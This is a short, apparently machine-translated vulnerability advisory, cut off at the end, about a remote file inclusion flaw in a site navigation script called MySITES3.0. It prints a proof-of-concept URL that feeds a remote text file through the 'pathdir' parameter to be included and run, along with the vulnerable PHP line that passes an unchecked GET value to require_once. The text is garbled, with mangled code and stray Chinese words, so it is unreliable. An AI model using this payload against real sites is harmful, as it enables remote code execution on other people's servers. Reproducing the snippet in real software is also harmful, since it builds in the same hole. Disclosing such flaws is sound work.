MySITES3. 0 site navigation system remote include vulnerability-vulnerability warning-the black bar safety net

Because the function is not initialized, leading to function can be any of the included files; 1, The registerglobal=On 2, The allowurlfopen = On 然后 即可 包含 Poc:www.r0expeR.Net/index.php?pathdir=http://www.r0expeR.Net/xx.txt ? php $poc = $GET'pathdir'; echo requireonce$poc; poc:http://www. r0expeR...